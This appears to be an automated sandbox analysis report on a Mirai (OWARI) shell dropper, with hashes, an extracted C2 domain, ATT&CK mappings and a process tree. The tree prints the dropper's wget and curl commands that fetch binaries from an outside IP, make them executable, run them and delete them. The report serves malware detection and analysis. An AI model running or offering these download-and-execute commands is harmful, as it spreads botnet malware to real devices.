mirai | f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
12/03/2025, 03:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
Size

2KB
MD5

e0347ebaf46c3662467aaeb0be087a53
SHA1

faf54de0e3691ffc53f2024470788e921cdfb1f3
SHA256

f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0
SHA512

2a32c22e31e78e31a65aefcc2f369747d2d76caafa081b66f13e8dd82a5b41a819b1dc42bade80d4db7e2178f203cfc408919a9edd48ca4ce4b90cc71cdd4bdc

Score

10^/10

mirai owari botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

OWARI

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

Extracted

Family

mirai

Botnet

OWARI

Extracted

Family

mirai

Botnet

OWARI

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

newageofkifirempire.camdvr.org

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1538	chmod
1556	chmod
1495	chmod
1502	chmod
1510	chmod
1517	chmod
1545	chmod
1482	chmod
1524	chmod
1531	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/GoldAge3ATOarm	1483	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
/tmp/GoldAge3ATOarm6	1496	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
/tmp/GoldAge3ATOm68k	1503	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
/tmp/GoldAge3ATOmips	1511	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
/tmp/GoldAge3ATOmpsl	1518	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
/tmp/GoldAge3ATOppc	1525	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
/tmp/GoldAge3ATOsh4	1532	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
/tmp/GoldAge3ATOspc	1539	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
/tmp/GoldAge3ATOx64	1546	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
/tmp/GoldAge3ATOx86	1557	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	GoldAge3ATOx64
File opened for modification	/dev/misc/watchdog	GoldAge3ATOx64
File opened for modification	/dev/watchdog	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for modification	/dev/misc/watchdog	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh

Enumerates active TCP sockets 1 TTPs 2 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	GoldAge3ATOx64
File opened for reading	/proc/net/tcp	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	sahbbhsahasabhhhhhs	1546	GoldAge3ATOx64
Changes the process name, possibly in an attempt to hide itself		1557	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh

Reads system network configuration 1 TTPs 2 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	GoldAge3ATOx64
File opened for reading	/proc/net/tcp	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/461/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/502/exe	GoldAge3ATOx64
File opened for reading	/proc/642/exe	GoldAge3ATOx64
File opened for reading	/proc/1628/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/960/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/460/exe	GoldAge3ATOx64
File opened for reading	/proc/1854/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1986/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/404/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/620/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1113/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1547/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/557/exe	GoldAge3ATOx64
File opened for reading	/proc/595/exe	GoldAge3ATOx64
File opened for reading	/proc/700/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1155/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1287/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1948/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/660/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/531/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1993/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/2053/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1076/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1099/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1656/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1140/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1316/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/595/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1117/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/483/exe	GoldAge3ATOx64
File opened for reading	/proc/1930/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1279/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/406/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/476/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/433/exe	GoldAge3ATOx64
File opened for reading	/proc/531/exe	GoldAge3ATOx64
File opened for reading	/proc/642/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1582/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/528/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/649/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/707/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1983/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/2157/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/501/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1176/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/2123/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/2134/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/501/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/557/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1143/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1467/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/443/exe	GoldAge3ATOx64
File opened for reading	/proc/594/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1968/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/2204/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1861/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1871/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1899/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/2135/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1145/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/938/exe	GoldAge3ATOx64
File opened for reading	/proc/1686/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/2179/exe	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
File opened for reading	/proc/1033/fd	f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1511	GoldAge3ATOmips
1513	rm
1514	rm
1507	wget
1508	curl

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/GoldAge3ATOmpsl	curl
File opened for modification	/tmp/GoldAge3ATOsh4	wget
File opened for modification	/tmp/GoldAge3ATOsh4	curl
File opened for modification	/tmp/GoldAge3ATOx64	wget
File opened for modification	/tmp/GoldAge3ATOarm6	wget
File opened for modification	/tmp/GoldAge3ATOx64	curl
File opened for modification	/tmp/GoldAge3ATOx86	curl
File opened for modification	/tmp/GoldAge3ATOarm	wget
File opened for modification	/tmp/GoldAge3ATOarm	curl
File opened for modification	/tmp/GoldAge3ATOarm6	curl
File opened for modification	/tmp/GoldAge3ATOm68k	wget
File opened for modification	/tmp/GoldAge3ATOm68k	curl
File opened for modification	/tmp/GoldAge3ATOmips	wget
File opened for modification	/tmp/GoldAge3ATOmpsl	wget
File opened for modification	/tmp/GoldAge3ATOppc	wget
File opened for modification	/tmp/GoldAge3ATOmips	curl
File opened for modification	/tmp/GoldAge3ATOppc	curl
File opened for modification	/tmp/GoldAge3ATOspc	wget
File opened for modification	/tmp/GoldAge3ATOspc	curl
File opened for modification	/tmp/GoldAge3ATOx86	wget

/tmp/f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
/tmp/f6af632300305faf5db5b35ee6dfa2cc380484ecaf01d95b19da15454eab9cb0.sh
1⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:1473
- /usr/bin/wget
  wget 141.98.10.50/zoopakilla/GoldAge3ATOarm
  2⤵
  - Writes file to tmp directory
  PID:1474
- /usr/bin/curl
  curl -O 141.98.10.50/zoopakilla/GoldAge3ATOarm
  2⤵
  - Writes file to tmp directory
  PID:1478
- /bin/chmod
  chmod 777 GoldAge3ATOarm
  2⤵
  - File and Directory Permissions Modification
  PID:1482
- /tmp/GoldAge3ATOarm
  ./GoldAge3ATOarm
  2⤵
  PID:1483
- /bin/rm
  rm -rf GoldAge3ATOarm
  2⤵
  PID:1485
- /bin/rm
  rm -rf GoldAge3ATOarm.1
  2⤵
  PID:1486
- /usr/bin/wget
  wget 141.98.10.50/zoopakilla/GoldAge3ATOarm6
  2⤵
  - Writes file to tmp directory
  PID:1487
- /usr/bin/curl
  curl -O 141.98.10.50/zoopakilla/GoldAge3ATOarm6
  2⤵
  - Writes file to tmp directory
  PID:1494
- /bin/chmod
  chmod 777 GoldAge3ATOarm6
  2⤵
  - File and Directory Permissions Modification
  PID:1495
- /tmp/GoldAge3ATOarm6
  ./GoldAge3ATOarm6
  2⤵
  PID:1496
- /bin/rm
  rm -rf GoldAge3ATOarm6
  2⤵
  PID:1498
- /bin/rm
  rm -rf GoldAge3ATOarm6.1
  2⤵
  PID:1499
- /usr/bin/wget
  wget 141.98.10.50/zoopakilla/GoldAge3ATOm68k
  2⤵
  - Writes file to tmp directory
  PID:1500
- /usr/bin/curl
  curl -O 141.98.10.50/zoopakilla/GoldAge3ATOm68k
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/chmod
  chmod 777 GoldAge3ATOm68k
  2⤵
  - File and Directory Permissions Modification
  PID:1502
- /tmp/GoldAge3ATOm68k
  ./GoldAge3ATOm68k
  2⤵
  PID:1503
- /bin/rm
  rm -rf GoldAge3ATOm68k
  2⤵
  PID:1505
- /bin/rm
  rm -rf GoldAge3ATOm68k.1
  2⤵
  PID:1506
- /usr/bin/wget
  wget 141.98.10.50/zoopakilla/GoldAge3ATOmips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1507
- /usr/bin/curl
  curl -O 141.98.10.50/zoopakilla/GoldAge3ATOmips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1508
- /bin/chmod
  chmod 777 GoldAge3ATOmips
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /tmp/GoldAge3ATOmips
  ./GoldAge3ATOmips
  2⤵
  - System Network Configuration Discovery
  PID:1511
- /bin/rm
  rm -rf GoldAge3ATOmips
  2⤵
  - System Network Configuration Discovery
  PID:1513
- /bin/rm
  rm -rf GoldAge3ATOmips.1
  2⤵
  - System Network Configuration Discovery
  PID:1514
- /usr/bin/wget
  wget 141.98.10.50/zoopakilla/GoldAge3ATOmpsl
  2⤵
  - Writes file to tmp directory
  PID:1515
- /usr/bin/curl
  curl -O 141.98.10.50/zoopakilla/GoldAge3ATOmpsl
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/chmod
  chmod 777 GoldAge3ATOmpsl
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/GoldAge3ATOmpsl
  ./GoldAge3ATOmpsl
  2⤵
  PID:1518
- /bin/rm
  rm -rf GoldAge3ATOmpsl
  2⤵
  PID:1520
- /bin/rm
  rm -rf GoldAge3ATOmpsl.1
  2⤵
  PID:1521
- /usr/bin/wget
  wget 141.98.10.50/zoopakilla/GoldAge3ATOppc
  2⤵
  - Writes file to tmp directory
  PID:1522
- /usr/bin/curl
  curl -O 141.98.10.50/zoopakilla/GoldAge3ATOppc
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/chmod
  chmod 777 GoldAge3ATOppc
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /tmp/GoldAge3ATOppc
  ./GoldAge3ATOppc
  2⤵
  PID:1525
- /bin/rm
  rm -rf GoldAge3ATOppc
  2⤵
  PID:1527
- /bin/rm
  rm -rf GoldAge3ATOppc.1
  2⤵
  PID:1528
- /usr/bin/wget
  wget 141.98.10.50/zoopakilla/GoldAge3ATOsh4
  2⤵
  - Writes file to tmp directory
  PID:1529
- /usr/bin/curl
  curl -O 141.98.10.50/zoopakilla/GoldAge3ATOsh4
  2⤵
  - Writes file to tmp directory
  PID:1530
- /bin/chmod
  chmod 777 GoldAge3ATOsh4
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/GoldAge3ATOsh4
  ./GoldAge3ATOsh4
  2⤵
  PID:1532
- /bin/rm
  rm -rf GoldAge3ATOsh4
  2⤵
  PID:1534
- /bin/rm
  rm -rf GoldAge3ATOsh4.1
  2⤵
  PID:1535
- /usr/bin/wget
  wget 141.98.10.50/zoopakilla/GoldAge3ATOspc
  2⤵
  - Writes file to tmp directory
  PID:1536
- /usr/bin/curl
  curl -O 141.98.10.50/zoopakilla/GoldAge3ATOspc
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod 777 GoldAge3ATOspc
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/GoldAge3ATOspc
  ./GoldAge3ATOspc
  2⤵
  PID:1539
- /bin/rm
  rm -rf GoldAge3ATOspc
  2⤵
  PID:1541
- /bin/rm
  rm -rf GoldAge3ATOspc.1
  2⤵
  PID:1542
- /usr/bin/wget
  wget 141.98.10.50/zoopakilla/GoldAge3ATOx64
  2⤵
  - Writes file to tmp directory
  PID:1543
- /usr/bin/curl
  curl -O 141.98.10.50/zoopakilla/GoldAge3ATOx64
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/chmod
  chmod 777 GoldAge3ATOx64
  2⤵
  - File and Directory Permissions Modification
  PID:1545
- /tmp/GoldAge3ATOx64
  ./GoldAge3ATOx64
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1546
- /bin/rm
  rm -rf GoldAge3ATOx64
  2⤵
  PID:1550
- /bin/rm
  rm -rf GoldAge3ATOx64.1
  2⤵
  PID:1553
- /usr/bin/wget
  wget 141.98.10.50/zoopakilla/GoldAge3ATOx86
  2⤵
  - Writes file to tmp directory
  PID:1554
- /usr/bin/curl
  curl -O 141.98.10.50/zoopakilla/GoldAge3ATOx86
  2⤵
  - Writes file to tmp directory
  PID:1555
- /bin/chmod
  chmod 777 GoldAge3ATOx86
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /bin/rm
  rm -rf GoldAge3ATOx86
  2⤵
  PID:1561
- /bin/rm
  rm -rf GoldAge3ATOx86.1
  2⤵
  PID:1564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/GoldAge3ATOarm

Filesize
42KB

MD5
7b6a37e2b0f25ebdbd2a139e1da402cb

SHA1
b3c5301e2b27d930bd38c7cbe15b3dad788105b9

SHA256
d363895de44cd9baac35b511101e67224f90cf9da8818065bb4815863d9623c0

SHA512
f10dd88b1cf6598bb610f888ddd4498fd2258dffec43ee628f24af404789ea979682717f9c6c35209d45ab080797de2cb5f9ff669137f0e360c2930a89fdbbcf

Download Submit
/tmp/GoldAge3ATOarm6

Filesize
53KB

MD5
11bc2be56b054f6de738fef4d7e676a8

SHA1
627c06f31753633b6b143004ef2f9fa5d366cfaf

SHA256
fa867339875a825778e3747878f069660264516cb8b3b1d01ecbb974416b5ffb

SHA512
e2de3dfcfbb42275c937829d28278e89017d95ff73d051952b7403fb4b26e632f690a5e0c0108db10d5c6192134158b368a48d879eab16dd0690ad29defb077c

Download Submit
/tmp/GoldAge3ATOm68k

Filesize
41KB

MD5
bb0970d3af844bdb3252e4d471f1bf7a

SHA1
674dbabe05b67433431db94c5432a887c156e78c

SHA256
0e5a52ab7b26d9c7cc4f617cd9ab7a3603cd0c151ec7c5de7808c48c8d274e9c

SHA512
693f861483cc3f551b4e1f72cdd978fff18b3646f8051881df8e98e996110d5ac45ff1d1476be374492313ebd676d4b6bacbc6909cdd576f8cc23c7f87a07d08

Download Submit
/tmp/GoldAge3ATOmips

Filesize
53KB

MD5
dd710f08451295fe8edf8403549f2372

SHA1
abed845d3c83f41f237cf028f81f4ccae8e70026

SHA256
92041a19a1ccaee03c62c1726d2a63b864d00c73912a89c4e4ecf3673bc7035e

SHA512
732c87dda9eb0c1c43264f1196a6f12acfd4e33ea24b0893d17dc82157407a10f8b7429fc387c54f98718619ff63861257b1c5bee8ff90c7f9395015e3d356d8

Download Submit
/tmp/GoldAge3ATOmpsl

Filesize
55KB

MD5
fbad3fb44b71511e379b26e68b64a8b0

SHA1
7b06f8b3e8ac5d3877ce53fff6b4db4802f9525c

SHA256
ca3237ae7d2c37212f7409af56b4c3f713e5b9c92d29b904934a602500606a50

SHA512
1d374feb0ed9663b20c5b47c2412447cb1271e20ef371d21961676691ad1423bad7c9c2fe81d28f6fffe6389728bf468e524c1b8b479991ed1efba2da8dfa177

Download Submit
/tmp/GoldAge3ATOppc

Filesize
39KB

MD5
58c242db59b710eec7620b5500c9b529

SHA1
9d5478e5f6b902d12ff3818098742f007989f9f6

SHA256
e585d49530979ac2507c1a11c51acc1e0889d23cf26292d05c34142850cc9e01

SHA512
3ad955c2d4d0a8168bc2b98d47030ebbb77ca21a371baea879103f8fdadc31c90d5c879f9ed7e6c2f51a7a051c09f0dbe0685fce00b19f5d7065764895c33b64

Download Submit
/tmp/GoldAge3ATOsh4

Filesize
36KB

MD5
fb0e935532cea0ab6307f7b2af25be73

SHA1
bc0040aee854809c401129c5e7623bb176f8dcfc

SHA256
db237a423289072365e7d35f67017238a5b427899d653a31cc97142f0ccbd732

SHA512
bfe94c50e673840c4d312677b6815ea5ebcb2c14346599ccb103a52e08fc1f5c59d647d70843305ef8a9afcdba0a9f571d97b426019c14dc081b90b31dd32ac9

Download Submit
/tmp/GoldAge3ATOspc

Filesize
44KB

MD5
c90d87b96b3d72e6c80ff3082a429acd

SHA1
9e1fe7d87537e94dddc41d94d9631c19c17c5ace

SHA256
d8b7af847acedab0a4aec9b8df48d1872c1fa7ee521c4219a9f34d01ef0e596d

SHA512
340f3cf6b653615f03a95eedcda86b7f832c42dadea492a49069ee517ea74de54476a2aed3a7fb62580775e07550a35c34341428804b2be21ed2b114b005fe45

Download Submit
/tmp/GoldAge3ATOx64

Filesize
41KB

MD5
f3aac3b51975d952e28355dcfc94bd34

SHA1
34860acc902b696c536e748d0386c88a7c5b9299

SHA256
9740a38b59c5221179d726e42527f97e66155139502a645e50ea4a795dcc61a7

SHA512
a00a45b4d86de87ac7d7d99af692ddcedd3eaddd08396379112d888bd0b2b80af89bbd4da85bb267b79942f95e2cdcdc4e0893118a49ae5c04835d101e0b81e4

Download Submit
/tmp/GoldAge3ATOx86

Filesize
37KB

MD5
e6c7b6cfb5424c1d3736a06621d53ebb

SHA1
6f2f27a698573ba77bdfae084ba63ca80c92a411

SHA256
1c192ac6e52572d12008930f303929fa4559cf200b196f661251cc08a6629b8e

SHA512
8ee330a4f0d154534cd97d86ea7557439ecb7c1e5adfaa1af0f23f027f1cbdaea8b88b8c44221d29bf68ea1a74fcff319a71380145be6fbfef1910d5a7611c33

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads